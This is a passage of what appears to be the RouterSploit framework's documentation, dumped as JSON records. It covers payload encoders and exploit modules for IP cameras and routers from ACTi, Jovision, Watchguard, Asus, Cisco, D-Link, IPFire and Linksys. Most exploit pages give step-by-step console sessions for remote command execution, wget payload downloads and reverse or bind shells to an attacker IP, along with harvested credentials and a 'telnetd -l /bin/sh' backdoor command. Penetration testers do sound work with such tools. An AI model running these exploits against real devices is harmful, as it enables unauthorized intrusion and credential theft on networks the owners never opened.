Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/encoders/perl/base64.md",
    "content": "## Description\n\nModule encodes Perl payload to base64 format. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use encoders/perl/base64`\n  3. Do: `show info`\n\n## Scenarios\n\n```\nrsf > use encoders/perl/base64\nrsf (Perl Base64 Encoder) > show info\n\nName:\nPerl Base64 Encoder\n\nDescription:\nModule encodes PERL payload to Base64 format.\n\nAuthors:\n-  Marcin Bury <marcin[at]threat9.com>\n```\n"
  },
  {
    "path": "docs/modules/encoders/perl/hex.md",
    "content": "## Description\n\nModule encodes Perl payload to hex format. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use encoders/perl/hex`\n  3. Do: `show info`\n\n## Scenarios\n\n```\nrsf > use encoders/perl/hex\nrsf (Perl Hex Encoder) > show info\n\nName:\nPerl Hex Encoder\n\nDescription:\nModule encodes PERL payload to Hex format.\n\nAuthors:\n-  Marcin Bury <marcin[at]threat9.com>\n```\n"
  },
  {
    "path": "docs/modules/encoders/php/base64.md",
    "content": "## Description\n\nModule encodes PHP payload to base64 format. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use encoders/php/base64`\n  3. Do: `show info`\n\n## Scenarios\n\n```\nrsf > use encoders/php/base64\nrsf (PHP Base64 Encoder) > show info\n\nName:\nPHP Base64 Encoder\n\nDescription:\nModule encodes PHP payload to Base64 format.\n\nAuthors:\n-  Marcin Bury <marcin[at]threat9.com>\n```\n"
  },
  {
    "path": "docs/modules/encoders/php/hex.md",
    "content": "## Description\n\nModule encodes PHP payload to Hex format. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use encoders/php/hex`\n  3. Do: `show info`\n\n## Scenarios\n\n```\nrsf > use encoders/php/hex\nrsf (PHP Hex Encoder) > show info\n\nName:\nPHP Hex Encoder\n\nDescription:\nModule encodes PHP payload to Hex format.\n\nAuthors:\n-  Marcin Bury <marcin[at]threat9.com>\n```\n"
  },
  {
    "path": "docs/modules/encoders/python/base64.md",
    "content": "## Description\n\nModule encodes Python payload to base64 format. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use encoders/python/base64`\n  3. Do: `show info`\n\n## Scenarios\n\n```\nrsf > use encoders/python/base64\nrsf (Python Base64 Encoder) > show info\n\nName:\nPython Base64 Encoder\n\nDescription:\nModule encodes Python payload to Base64 format.\n\nAuthors:\n-  Marcin Bury <marcin[at]threat9.com>\n```\n"
  },
  {
    "path": "docs/modules/encoders/python/hex.md",
    "content": "## Description\n\nModule encodes Python payload to hex format. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use encoders/python/hex`\n  3. Do: `show info`\n\n## Scenarios\n\n```\nrsf > use encoders/python/hex\nrsf (Python Hex Encoder) > show info\n\nName:\nPython Hex Encoder\n\nDescription:\nModule encodes Python payload to Hex format.\n\nAuthors:\n-  Marcin Bury <marcin[at]threat9.com>\n```\n"
  },
  {
    "path": "docs/modules/exploits/cameras/acti/acm_5611_rce.md",
    "content": "## Description\n\nModule exploits ACTi ACM-5611 Video Camera Remote Command Execution Exploit.\n\n## Verification Steps\n\n\n  1. Start ./rsf.py\n  2. use exploits/cameras/acti/acm_5611_rce\n  3. set target 192.168.1.1\n  4. run\n  5. If device is vulnerable user credentials are returned.\n\n## Scenarios\n\n```\nrsf > use exploits/cameras/acti/acm_5611_rce\nrsf (JACTi ACM-5611 Video Camera RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (JACTi ACM-5611 Video Camera RCE) > run\n[*] Running module...\n[+] Target seems to be vulnerable"
  },
  {
    "path": "docs/modules/exploits/cameras/geuterbruck/efd_2250.md",
    "content": "## Description\n\nThis module exploits a an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an anonymous user to execute arbitrary commands with root privileges.\n\n## Verification Steps\n\n  1. Start ./rsf.py\n  2. use exploits/cameras/geuterbruck/efd_2250\n  3. set target 192.168.1.1\n  5. run\n  6. If device is vulnerable you will receive reverse shell.\n\n## Scenarios\n\n```\nrsf > use exploits/cameras/geuterbruck/efd_2250\nrsf (Geutebruck G-Cam/EFD-2250 RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Geutebruck G-Cam/EFD-2250 RCE) > run\n[*] Running module exploits/cameras/geuterbruck/efd_2250...\n[+] Target seams 192.168.1.1:80 is vulnerable\n\n```\n"
  },
  {
    "path": "docs/modules/exploits/cameras/jovision/jovision_credentials_disclosure.md",
    "content": "## Description\n\nModule exploits a CGI script that doesn't validate whether the client is logged in on some jovision cameras to return credentials.\n\n## Verification Steps\n\n\n  1. Start ./rsf.py\n  2. use exploits/cameras/jovision/jovision_credentials_disclosure\n  3. set target 192.168.1.1\n  4. run\n  5. If device is vulnerable user credentials are returned.\n\n## Scenarios\n\n```\nrsf > use exploits/cameras/jovision/jovision_credentials_disclosure\nrsf (Jovision camera credential disclosure) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Jovision camera credential disclosure) > run\n[*] Running module...\n[+] Target seems to be vulnerable\n[+] Accounts found:\n\n   Description                   Username      Password     Administrator\n   -----------                   --------      --------     -------------\n   Admin account                 admin         ADMIN        Yes\n   Guest account                 guest         1234         No\n```\n"
  },
  {
    "path": "docs/modules/exploits/cameras/multi/cctv_dvr_rce.md",
    "content": "## Description\n\nRemote Code Execution in CCTV-DVR affecting over 70 different vendors\n\n## Verification Steps\n\n\n  1. Start ./rsf.py\n  2. use exploits/cameras/multi/cctv_dvr_rce\n  3. set target 192.168.1.1\n  4. set connback 192.168.1.100:5555\n  5. run\n  6. If device is vulnerable you will receive reverse shell.\n\n## Scenarios\n\n```\nrsf > use exploits/cameras/multi/cctv_dvr_rce\nrsf (Multiple CCTV-DVR Vendors) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Multiple CCTV-DVR Vendors) > set connback 192.168.1.100:5555\n[+] connback => 192.168.1.100:5555\nrsf (Multiple CCTV-DVR Vendors) > run\n[*] Running module...\n[+] Target is vulnerable\n[*] Exploit payload sent!\n[+] If nothing went wrong we should be getting a reversed remote shell at 192.168.1.100:5555\n```\n"
  },
  {
    "path": "docs/modules/exploits/misc/watchguard/xcs_9_rce.md",
    "content": "## Description\n\nThis module exploits two separate vulnerabilities found in the Watchguard XCS virtual appliance to gain command execution. By exploiting an unauthenticated SQL injection, a remote attacker may insert a valid web user into the appliance database, and get access to the web interface. On the other hand, a vulnerability in the web interface allows the attacker to inject operating system commands as the \"nobody\" user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/misc/watchguard/xcs_9_rce`\n  3. Do: `set target[TargetIP]`\n  4. Do: `run`\n  5. If router is vulnerable, it should be possible to execute commands on operating system level.\n\n  6. Do: `set payload reverse_tcp`\n  7. Do: `set lhost [AttackerIP]`\n  8. Do: `run`\n  9. Payload is sent to device and executed providing attacker with the command shell.\n\n\n## Scenarios\n\n```\nrsf > use exploits/misc/watchguard/xcs_9_rce\nrsf (Watchguard XCS Remote Command Execution) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Watchguard XCS Remote Command Execution) > run\n[*] Running module exploits/misc/watchguard/xcs_9_rce...\n[*] Getting a valid session...\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload         Name                  Description\n   -------         ----                  -----------\n   bind_tcp        x64 Bind TCP        Creates interactive tcp bind shell for x64 architecture.\n   reverse_tcp     x64 Reverse TCP     Creates interactive tcp reverse shell for x64 architecture.\n\ncmd > set payload reverse_tcp\ncmd (x64 Reverse TCP) > show options\n\nPayload Options:\n\n   Name        Current settings     Description\n   ----        ----------------     -----------\n   lhost                            Connect-back IP address\n   lport       5555                 Connect-back TCP Port\n   encoder                          Encoder\n\n\ncmd (x64 Reverse TCP) > set lhost 192.168.1.115\nlhost => 192.168.1.115\ncmd (x64 Reverse TCP) > run\n[*] Using wget method\n[*] Using wget to download binary\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.1.1:56981\n[+] Enjoy your shell\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/asus/asuswrt_lan_rce.md",
    "content": "## Description\n\nModule exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/asus/asuswrt_lan_rce`\n  3. Do: `set target[TargetIP]`\n  4. Do: `run`\n  5. If router is vulnerable, it should be possible to execute commands on operating system level.\n\n  6. Do: `set payload reverse_tcp`\n  7. Do: `set lhost [AttackerIP]`\n  8. Do: `run`\n  9. Payload is sent to device and executed providing attacker with the command shell.\n\n\n## Scenarios\n\n```\nrsf > use exploits/routers/asus/asuswrt_lan_rce\nrsf (AsusWRT Lan RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (AsusWRT Lan RCE) > run\n[*] Running module...\n[+] Successfuly set ateCommand_flag variable\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload         Name                  Description\n   -------         ----                  -----------\n   bind_tcp        ARMLE Bind TCP        Creates interactive tcp bind shell for ARMLE architecture.\n   reverse_tcp     ARMLE Reverse TCP     Creates interactive tcp reverse shell for ARMLE architecture.\n\ncmd > set payload reverse_tcp\ncmd (ARMLE Reverse TCP) > show options\n\nPayload Options:\n\n   Name        Current settings     Description\n   ----        ----------------     -----------\n   lhost                            Connect-back IP address\n   lport       5555                 Connect-back TCP Port\n   encoder                          Encoder\n\n\ncmd (ARMLE Reverse TCP) > set lhost 192.168.1.115\nlhost => 192.168.1.115\ncmd (ARMLE Reverse TCP) > run\n[*] Using wget method\n[*] Using wget to download binary\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.1.1:56981\n[+] Enjoy your shell\nls -la\ndrwxr-xr-x   18 admin    root           325 Mar 15  2017 .\ndrwxr-xr-x   18 admin    root           325 Mar 15  2017 ..\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 asus_jffs\ndrwxr-xr-x    2 admin    root           706 Mar 15  2017 bin\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 cifs1\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 cifs2\ndrwxr-xr-x    5 admin    root          1540 Aug  1  2015 dev\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 etc -> tmp/etc\nlrwxrwxrwx    1 admin    root             8 Mar 15  2017 home -> tmp/home\ndrwxr-xr-x    5 admin    root             0 Sep  4 22:40 jffs\ndrwxr-xr-x    3 admin    root           402 Mar 15  2017 lib\nlrwxrwxrwx    1 admin    root             9 Mar 15  2017 media -> tmp/media\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 mmc\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 mnt -> tmp/mnt\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 opt -> tmp/opt\ndr-xr-xr-x  106 admin    root             0 Jan  1  1970 proc\ndrwxr-xr-x    7 admin    root           766 Mar 15  2017 rom\nlrwxrwxrwx    1 admin    root            13 Mar 15  2017 root -> tmp/home/root\ndrwxr-xr-x    2 admin    root          2428 Mar 15  2017 sbin\ndrwxr-xr-x   11 admin    root             0 Jan  1  1970 sys\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 sysroot\ndrwxrwxrwx   13 admin    root           860 Sep  4 22:50 tmp\ndrwxr-xr-x    8 admin    root           139 Mar 15  2017 usr\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 var -> tmp/var\ndrwxr-xr-x   14 admin    root          6036 Mar 15  2017 www\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/asus/infosvr_backdoor_rce.md",
    "content": "## Description\n\nModule exploits remote command execution in multiple ASUS devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/asus/infosvr_backdoor_rce`\n  3. Do: `set target[TargetIP]\n  4. Do: `run`\n  5. If router is vulnerable, it should be possible to execute commands on operating system level.\n  6. Do: `set payload reverse_tcp`\n  7. Do: `set lhost [AttackerIP]`\n  8. Do: `run`\n  9. Payload is sent to device and executed providing attacker with the command shell.\n\n\n## Scenarios\n\n```\nrsf > use exploits/routers/asus/infosvr_backdoor_rce\nrsf (Asus Infosvr Backdoor RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asus Infosvr Backdoor RCE) > run\n[*] Running module...\n[+] Target is vulnerable\n[*] Invoking command loop...\n[*] Please note that only first 256 characters of the output will be displayed or use reverse_tcp\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload         Name                  Description\n   -------         ----                  -----------\n   bind_tcp        ARMLE Bind TCP        Creates interactive tcp bind shell for ARMLE architecture.\n   reverse_tcp     ARMLE Reverse TCP     Creates interactive tcp reverse shell for ARMLE architecture.\n\ncmd > set payload reverse_tcp\ncmd (ARMLE Reverse TCP) > show options\n\nPayload Options:\n\n   Name        Current settings     Description\n   ----        ----------------     -----------\n   lhost                            Connect-back IP address\n   lport       5555                 Connect-back TCP Port\n   encoder                          Encoder\n\n\ncmd (ARMLE Reverse TCP) > set lhost 192.168.1.115\nlhost => 192.168.1.115\ncmd (ARMLE Reverse TCP) > run\n[*] Using wget method\n[*] Using wget to download binary\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.1.1:35220\n[+] Enjoy your shell\nls -la\nls -la\ndrwxr-xr-x   18 admin    root           325 Mar 15  2017 .\ndrwxr-xr-x   18 admin    root           325 Mar 15  2017 ..\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 asus_jffs\ndrwxr-xr-x    2 admin    root           706 Mar 15  2017 bin\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 cifs1\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 cifs2\ndrwxr-xr-x    5 admin    root          1540 Sep  4 23:04 dev\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 etc -> tmp/etc\nlrwxrwxrwx    1 admin    root             8 Mar 15  2017 home -> tmp/home\ndrwxr-xr-x    5 admin    root             0 Sep  4 23:25 jffs\ndrwxr-xr-x    3 admin    root           402 Mar 15  2017 lib\nlrwxrwxrwx    1 admin    root             9 Mar 15  2017 media -> tmp/media\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 mmc\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 mnt -> tmp/mnt\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 opt -> tmp/opt\ndr-xr-xr-x  101 admin    root             0 Jan  1  1970 proc\ndrwxr-xr-x    7 admin    root           766 Mar 15  2017 rom\nlrwxrwxrwx    1 admin    root            13 Mar 15  2017 root -> tmp/home/root\ndrwxr-xr-x    2 admin    root          2428 Mar 15  2017 sbin\ndrwxr-xr-x   11 admin    root             0 Jan  1  1970 sys\ndrwxr-xr-x    2 admin    root             3 Mar 15  2017 sysroot\ndrwxrwxrwx   13 admin    root           860 Sep  4 23:33 tmp\ndrwxr-xr-x    8 admin    root           139 Mar 15  2017 usr\nlrwxrwxrwx    1 admin    root             7 Mar 15  2017 var -> tmp/var\ndrwxr-xr-x   14 admin    root          6036 Mar 15  2017 www\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/cisco/rv320_command_injection.md",
    "content": "## Description\n\nModule exploits Cisco RV320 Remote Command Injection vulnerability in the web-based certificate generator feature.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/cisco/rv320_command_injection`\n  3. Do: `set target [TargetIP]`\n  4. Do: `set command [Remote Command]`\n  5. Do: `run`\n  6. If router is vulnerable, it should be possible to execute command on operating system level.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/cisco/rv320_command_injection\nrsf (Cisco RV320 Command Injection) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco RV320 Command Injection) > set command \"telnetd -l /bin/sh -p 1337\"\n[+] command => \"telnetd -l /bin/sh -p 1337\"\nrsf (Cisco RV320 Command Injection) > run\n[*] Running module exploits/routers/cisco/rv320_command_injection...\n[+] Target is vulnerable\n[*] Gonna go grab us a config file...\n[+] We seem to have found a valid config!\n[*] Extracting Creds...\n[+] Got user: cisco\n[+] Got password (hash): [redacted]\n[*] Sending request to extract auth key...\n[+] Got auth_key value: 1964300002\n[+] Login Successful, we can proceed!\n[*] Ok, now to run your command: telnetd -l /bin/sh -p 1337\n[*] We don't get output so... Yeah. Shits blind.\n```"
  },
  {
    "path": "docs/modules/exploits/routers/dlink/dir_655_866_652_rce.md",
    "content": "## Description\n\nModule exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/dlink/dir_655_866_652_rce`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If router is vulnerable, it should be possible to execute commands on operating system level.\n  \n  6. Do: `set payload reverse_tcp`\n  7. Do: `set lhost [AttackerIP]`\n  8. Do: `run`\n  9. Payload is sent to device and executed providing attacker with the command shell.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/dlink/dir_655_866_652_rce\nrsf (D-Link PingTest RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link PingTest RCE) > run\n[*] Running module exploits/routers/dlink/dir_655_866_652_rce...\n[+] Target is vulnerable\n[*] Invoking command loop...\n[*] It is blind command injection, response is not available\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload         Name                   Description\n   -------         ----                   -----------\n   bind_tcp        MIPSLE Bind TCP        Creates interactive tcp bind shell for MIPSLE architecture.\n   reverse_tcp     MIPSLE Reverse TCP     Creates interactive tcp reverse shell for MIPSLE architecture.\n\ncmd > set payload reverse_tcp\ncmd (MIPSLE Reverse TCP) > show options\n\nPayload Options:\n\n   Name      Current settings     Description\n   ----      ----------------     -----------\n   lhost                          Connect-back IP address\n   lport     5555                 Connect-back TCP Port\n\n\ncmd (MIPSLE Reverse TCP) > set lhost 192.168.1.4\nlhost => 192.168.1.4\ncmd (MIPSLE Reverse TCP) > run\n[*] Using wget method\n[*] Using wget to download binary\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.1.1:41933\n[+] Enjoy your shell\nls -la\ndrwxrwxrwx   15 admin    root           224 Mar 11  2013 .\ndrwxrwxrwx   15 admin    root           224 Mar 11  2013 ..\ndrwxr-xr-x    2 admin    root          2554 Mar 11  2013 bin\ndrwxr-xr-x    2 admin    root             3 Mar 11  2013 data\ndrwxr-xr-x    4 admin    root          2482 Mar 11  2013 dev\ndrwxr-xr-x   12 admin    root           779 Mar 11  2013 etc\ndrwxr-xr-x    6 admin    root           690 Mar 11  2013 lib\nlrwxrwxrwx    1 admin    root            11 Mar 11  2013 linuxrc -> bin/busybox\ndrwxr-xr-x    2 admin    root             0 Jan  1  1970 mnt\ndrwxr-xr-x    5 admin    root            56 Mar 11  2013 opt\ndr-xr-xr-x   69 admin    root             0 Jan  1  1970 proc\ndrwxr-xr-x    2 admin    root           270 Mar 11  2013 sbin\ndrwxr-xr-x   11 admin    root             0 Jan  1  1970 sys\nlrwxrwxrwx    1 admin    root             8 Mar 11  2013 tmp -> /var/tmp\ndrwxr-xr-x    4 admin    root            38 Mar 11  2013 usr\ndrwxr-xr-x   16 admin    root             0 Oct 19 20:36 var\ndrwxr-xr-x    5 admin    root          2801 Mar 11  2013 webs\n```"
  },
  {
    "path": "docs/modules/exploits/routers/dlink/dsl_2750b_rce.md",
    "content": "## Description\n\nThis module exploits remote code execution vulnerability in D-Link DSL-2750B devices through \"cli\" parameter.\nVulnerable firmwares are 1.01 up to 1.03.\n\n## Verification Steps\n\n    1. Start `./rsf.py`\n    2. Do: `use exploits/routers/dlink/dsl_2750b_rce`\n    3. Do: `set target [TargetIP]`\n    4. Do: `run`\n    5. If router is vulnerable, it should be possible to execute commands on operating system level.\n\n    6. Do: `set payload reverse_tcp`\n    7. Do: `set lhost [AttackerIP]`\n    8. Do: `run`\n    9. Payload is sent to device and executed providing attacker with the command shell.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/dlink/dsl_2750b_rce\nrsf (D-Link DSL-2750B RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link DSL-2750B RCE) > run\n[*] Running module...\n[+] Target appears to be vulnerable\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload         Name                   Description\n   -------         ----                   -----------\n   bind_tcp        MIPSBE Bind TCP        Creates interactive tcp bind shell for MIPSBE architecture.\n   reverse_tcp     MIPSBE Reverse TCP     Creates interactive tcp reverse shell for MIPSBE architecture.\n\ncmd > set payload reverse_tcp\ncmd (MIPSBE Reverse TCP) > show options\n\nPayload Options:\n\n   Name      Current settings     Description\n   ----      ----------------     -----------\n   lhost                          Connect-back IP address\n   lport     5555                 Connect-back TCP Port\n\n\ncmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4\nlhost => 192.168.1.4\ncmd (MIPSBE Reverse TCP) > run\n[*] Using wget method\n[*] Using wget to download binary\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.1.1:41933\n[+] Enjoy your shell\nls -la\ndrwxrwxrwx   15 admin    root           224 Mar 11  2013 .\ndrwxrwxrwx   15 admin    root           224 Mar 11  2013 ..\ndrwxr-xr-x    2 admin    root          2554 Mar 11  2013 bin\ndrwxr-xr-x    2 admin    root             3 Mar 11  2013 data\ndrwxr-xr-x    4 admin    root          2482 Mar 11  2013 dev\ndrwxr-xr-x   12 admin    root           779 Mar 11  2013 etc\ndrwxr-xr-x    6 admin    root           690 Mar 11  2013 lib\nlrwxrwxrwx    1 admin    root            11 Mar 11  2013 linuxrc -> bin/busybox\ndrwxr-xr-x    2 admin    root             0 Jan  1  1970 mnt\ndrwxr-xr-x    5 admin    root            56 Mar 11  2013 opt\ndr-xr-xr-x   69 admin    root             0 Jan  1  1970 proc\ndrwxr-xr-x    2 admin    root           270 Mar 11  2013 sbin\ndrwxr-xr-x   11 admin    root             0 Jan  1  1970 sys\nlrwxrwxrwx    1 admin    root             8 Mar 11  2013 tmp -> /var/tmp\ndrwxr-xr-x    4 admin    root            38 Mar 11  2013 usr\ndrwxr-xr-x   16 admin    root             0 Oct 19 20:36 var\ndrwxr-xr-x    5 admin    root          2801 Mar 11  2013 webs\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/ipfire/ipfire_proxy_rce.md",
    "content": "## Description\n\nThis module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows executing\ncommands on operating system level.\n\n## Verification Steps\n\n    1. Start `./rsf.py`\n    2. Do: `use exploits/routers/ipfire/ipfire_proxy_rce`\n    3. Do: `set target [TargetIP]`\n    4. Do: `run`\n    5. If router is vulnerable, it should be possible to execute commands on operating system level.\n\n    6. Do: `set payload awk_reverse_tcp`\n    7. Do: `set lhost [AttackerIP]`\n    8. Do: `run`\n    9. Payload is sent to device and executed providing attacker with the command shell.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/ipfire/ipfire_proxy_rce\nrsf (IPFire Proxy RCE) > set target 192.168.2.88\n[+] target => 192.168.2.88\nrsf (IPFire Proxy RCE) > run\n[*] Running module...\n[+] Target is vulnerable\n[*] Invoking command loop...\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > uname -a\n[*] Executing 'uname -a' on the device...\nLinux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload             Name                Description\n   -------             ----                -----------\n   awk_bind_udp        Awk Bind UDP        Creates an interactive udp bind shell by using (g)awk.\n   awk_bind_tcp        Awk Bind TCP        Creates an interactive tcp bind shell by using (g)awk.\n   awk_reverse_tcp     Awk Reverse TCP     Creates an interactive tcp reverse shell by using (g)awk.\n\ncmd > set payload awk_reverse_tcp\ncmd (Awk Reverse TCP) > show options\n\nPayload Options:\n\n   Name        Current settings     Description\n   ----        ----------------     -----------\n   lhost                            Connect-back IP address\n   lport       5555                 Connect-back TCP Port\n   encoder                          Encoder\n   cmd         awk                  Awk binary\n\n\ncmd (Awk Reverse TCP) > set lhost 192.168.2.100\nlhost => 192.168.2.100\ncmd (Awk Reverse TCP) > run\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.2.88:44168\n[+] Enjoy your shell\nuname -a\nLinux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux\nwhoami\nnobody\nid\nuid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/ipfire/ipfire_shellshock.md",
    "content": "## Description\nExploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. If the target is vulnerable \nit is possible to execute commands on operating system level.\n\n## Verification Steps\n\n    1. Start `./rsf.py`\n    2. Do: `use exploits/routers/ipfire/ipfire_shellshock`\n    3. Do: `set target [TargetIP]`\n    4. Do: `run`\n    5. If router is vulnerable, it should be possible to execute commands on operating system level.\n\n    6. Do: `set payload awk_reverse_tcp`\n    7. Do: `set lhost [AttackerIP]`\n    8. Do: `run`\n    9. Payload is sent to device and executed providing attacker with the command shell.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/ipfire/ipfire_proxy_rce\nrsf (IPFire Proxy RCE) > set target 192.168.2.88\n[+] target => 192.168.2.88\nrsf (IPFire Proxy RCE) > show options\n\nTarget options:\n\n   Name       Current settings     Description\n   ----       ----------------     -----------\n   ssl        true                 SSL enabled: true/false\n   target     192.168.2.88         Target IPv4 or IPv6 address\n   port       444                  Target HTTP port\n\n\nModule options:\n\n   Name          Current settings     Description\n   ----          ----------------     -----------\n   verbosity     true                 Verbosity enabled: true/false\n   username      admin                Username to log in with\n   password      admin                Password to log in with\n\n\nrsf (IPFire Proxy RCE) > run\n[*] Running module...\n[+] Target is vulnerable\n[*] Invoking command loop...\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > uname -a\n[*] Executing 'uname -a' on the device...\nLinux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload             Name                Description\n   -------             ----                -----------\n   awk_bind_udp        Awk Bind UDP        Creates an interactive udp bind shell by using (g)awk.\n   awk_bind_tcp        Awk Bind TCP        Creates an interactive tcp bind shell by using (g)awk.\n   awk_reverse_tcp     Awk Reverse TCP     Creates an interactive tcp reverse shell by using (g)awk.\n\ncmd > set payload awk_reverse_tcp\ncmd (Awk Reverse TCP) > show options\n\nPayload Options:\n\n   Name        Current settings     Description\n   ----        ----------------     -----------\n   lhost                            Connect-back IP address\n   lport       5555                 Connect-back TCP Port\n   encoder                          Encoder\n   cmd         awk                  Awk binary\n\n\ncmd (Awk Reverse TCP) > set lhost 192.168.2.100\nlhost => 192.168.2.100\ncmd (Awk Reverse TCP) > run\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.2.88:48775\n[+] Enjoy your shell\nid\nuid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/linksys/eseries_themoon_rce.md",
    "content": "## Description\n\nThis module exploits remote code execution vulnerability in multiple Linksys E-Series devices.\nVulnerability was actively used by TheMoon worm.\n\n## Verification Steps\n\n    1. Start `./rsf.py`\n    2. Do: `use exploits/routers/linksys/eseries_themoon_rce`\n    3. Do `uset target [TargetIP]`\n    4. Do `run`\n    5. If router is vulnerable, it should be possible to execute commands on operating system level.\n\n    6. Do `set payload reverse_tcp`\n    7. Do `set lhost [AttackerIP]`\n    8. Do `run`\n    9. Payload is sent to device and executed providing attacker with the command shell.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/linksys/eseries_themoon_rce\nrsf (Linksys E-Series TheMoon RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Linksys E-Series TheMoon RCE) > run\n[*] Running module...\n[+] Target appears to be vulnerable\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > show payloads\n[*] Available payloads:\n\n   Payload         Name                   Description\n   -------         ----                   -----------\n   bind_tcp        MIPSBE Bind TCP        Creates interactive tcp bind shell for 